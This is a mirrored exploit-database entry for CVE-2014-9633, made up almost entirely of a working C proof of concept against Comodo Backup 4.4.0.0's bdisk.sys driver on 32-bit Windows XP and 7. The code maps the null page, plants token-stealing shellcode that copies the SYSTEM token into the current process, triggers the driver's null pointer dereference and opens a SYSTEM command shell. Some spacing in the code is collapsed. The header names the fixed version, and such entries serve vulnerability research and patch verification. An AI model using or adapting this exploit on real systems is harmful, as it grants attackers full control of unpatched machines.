Comodo Backup 4.4.0.0 – Null Pointer Dereference Privilege Escalation

  • 作者: Parvez Anwar
    日期: 2015-01-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35905/
  • /*
    
    Exploit Title- Comodo Backup Null Pointer Dereference Privilege Escalation
    Date - 23rd January 2015
    Discovered by- Parvez Anwar (@parvezghh)
    Vendor Homepage- https://www.comodo.com
    Tested Version - 4.4.0.0
    Driver Version - 1.0.0.957 - bdisk.sys
    Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1
    OSVDB- http://www.osvdb.org/show/osvdb/112828
    CVE ID - CVE-2014-9633
    Vendor fix url - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html
    Fixed version- 4.4.1.23 
    Fixed Driver Ver - 1.0.0.972
    
    
    
    Note
    ----
    Does not cleanly exit, had to use some leave instructions to get the command
    prompt. If you know of a better way please do let me know.
    
    Below in from Windows XP in IofCallDriver function.
    
    eax = 12h
    
    804e37fe 8b7108mov esi,dword ptr [ecx+8]<- control the null page as ecx = 00000000
    804e3801 52pushedx
    804e3802 51pushecx
    804e3803 ff548638calldword ptr [esi+eax*4+38h] ds:0023:00000080=00000090
    804e3807 5epop esi
    804e3808 c3ret
    
    
    esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null
    
    
    */
    
    
    #include <stdio.h>
    #include <windows.h>
    
    #define BUFSIZE 4096
    
    
    typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN OUT PULONG RegionSize,
     IN ULONG AllocationType,
     IN ULONG Protect);
    
    
    // Windows XP SP3
    
    #define XP_KPROCESS 0x44// Offset to _KPROCESS from a _ETHREAD struct
    #define XP_TOKEN0xc8// Offset to TOKEN from the _EPROCESS struct
    #define XP_UPID 0x84// Offset to UniqueProcessId FROM the _EPROCESS struct
    #define XP_APLINKS0x88// Offset to ActiveProcessLinks _EPROCESS struct
    
    // Windows 7 SP1
    
    #define W7_KPROCESS 0x50// Offset to _KPROCESS from a _ETHREAD struct
    #define W7_TOKEN0xf8// Offset to TOKEN from the _EPROCESS struct
    #define W7_UPID 0xb4// Offset to UniqueProcessId FROM the _EPROCESS struct
    #define W7_APLINKS0xb8// Offset to ActiveProcessLinks _EPROCESS struct
    
    
    
    BYTE token_steal_xp[] =
    {
    0x52,					 // push edx Save edx on the stack
    0x53,					 // push ebx Save ebx on the stack
    0x33,0xc0,				 // xor eax, eax eax = 0
    0x64,0x8b,0x80,0x24,0x01,0x00,0x00,		 // mov eax, fs:[eax+124h] Retrieve ETHREAD
    0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
    0x8b,0xc8,				 // mov ecx, eax
    0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,		 // mov ebx, [eax+XP_TOKEN]Retrieves TOKEN
    0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,		 // mov eax, [eax+XP_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks
    0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,		 // sub eax, XP_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+XP_UPID], 4|Compares UniqueProcessId with 4 (System Process)
    0x75,0xe8,				 // jne ---- 
    0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,		 // mov edx, [eax+XP_TOKEN]Retrieves TOKEN and stores on EDX
    0x8b,0xc1,			 // mov eax, ecx Retrieves KPROCESS stored on ECX
    0x89,0x90,XP_TOKEN,0x00,0x00,0x00,		 // mov [eax+XP_TOKEN], edxOverwrites the TOKEN for the current KPROCESS
    0x5b, 				 // pop ebxRestores ebx
    0x5a,// pop edxRestores edx
    0xc9,// leave
    0xc9,// leave
    0xc9,// leave
    0xc9,// leave
    0xc3 	 // ret 
    };
    
    
    
    BYTE token_steal_w7[] =
    {
    0x52,					 // push edx Save edx on the stack
    0x53,					 // push ebx Save ebx on the stack
    0x33,0xc0,				 // xor eax, eax eax = 0
    0x64,0x8b,0x80,0x24,0x01,0x00,0x00,		 // mov eax, fs:[eax+124h] Retrieve ETHREAD
    0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS
    0x8b,0xc8,				 // mov ecx, eax
    0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,		 // mov ebx, [eax+W7_TOKEN]Retrieves TOKEN
    0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,		 // mov eax, [eax+W7_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks
    0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,		 // sub eax, W7_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W7_UPID], 4|Compares UniqueProcessId with 4 (System Process)
    0x75,0xe8,				 // jne ---- 
    0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,		 // mov edx, [eax+W7_TOKEN]Retrieves TOKEN and stores on EDX
    0x8b,0xc1,			 // mov eax, ecx Retrieves KPROCESS stored on ECX
    0x89,0x90,W7_TOKEN,0x00,0x00,0x00,		 // mov [eax+W7_TOKEN], edxOverwrites the TOKEN for the current KPROCESS
    0x5b, 				 // pop ebxRestores ebx
    0x5a,// pop edxRestores edx
    0xc9,// leave
    0xc9,// leave
    0xc9,// leave
    0xc9,// leave
    0xc3	 // ret 
    };
    
    
    
    BYTE ESInull[] = "\x00\x00\x00\x00";
    
    BYTE RETaddr[] = "\x90\x00\x00\x00";
    
    
    
    int GetWindowsVersion()
    {
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;
    
    version = GetVersion();
    
    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));
    
    if (minVersion == 1 && majVersion == 5) v = 1;// "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;// "Windows 7";
    
    return v;
    }
    
    
    void spawnShell()
    {
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    
    si.cb= sizeof(si); 
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
    
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
     printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
     return;
    }
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    }
    
    
    
    int main(int argc, char *argv[]) 
    {
    
    _NtAllocateVirtualMemoryNtAllocateVirtualMemory;
    NTSTATUSallocstatus;
    LPVOIDbase_addr = (LPVOID)0x00000001; 
    DWORD written;
    int rwresult;
    int size = BUFSIZE; 
    HANDLEhDevice;
    unsigned char buffer[BUFSIZE];
    unsigned char devhandle[MAX_PATH]; 
    
    
    printf("-------------------------------------------------------------------------------\n");
    printf("COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit \n");
    printf("Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n");
    printf("-------------------------------------------------------------------------------\n\n");
    
    
    sprintf(devhandle, "\\\\.\\%s", "bdisk");
    
    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
     	
    if (!NtAllocateVirtualMemory)
    {
    printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
    return -1;
    }
    
    printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);
    printf("[+] Allocating memory at [0x%p]\n", base_addr);
    	 
    allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (allocstatus) 
    {
    printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);
    printf("Error : %d\n", GetLastError());
    return -1;
    }
    printf("[+] NtAllocateVirtualMemory successful\n");
    
    memset(buffer, 0x90, BUFSIZE);
    memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);
    memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);
    
    if (GetWindowsVersion() == 1) 
    {
    printf("[i] Running Windows XP\n");
    memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
    }
    else if (GetWindowsVersion() == 2) 
    {
    printf("[i] Running Windows 7\n");
    memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));
    }
    else if (GetWindowsVersion() == 0) 
    {
    printf("[i] Exploit not supported on this OS\n\n");
    return -1;
    }
    
    rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);
    
    if (rwresult == 0)
    {
    printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
    return -1;
    }
    printf("[+] WriteProcessMemory %d bytes written\n", written);
    
    printf("[~] Press any key to Exploit . . .\n");
    getch();
    	
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
    printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
    return -1;
    }
    else 
    {
    printf("[+] Open %s device successful\n", devhandle);
    }
    
    CloseHandle(hDevice);
    
    printf("[+] Spawning SYSTEM Shell\n");
    spawnShell();
    
    return 0;
    }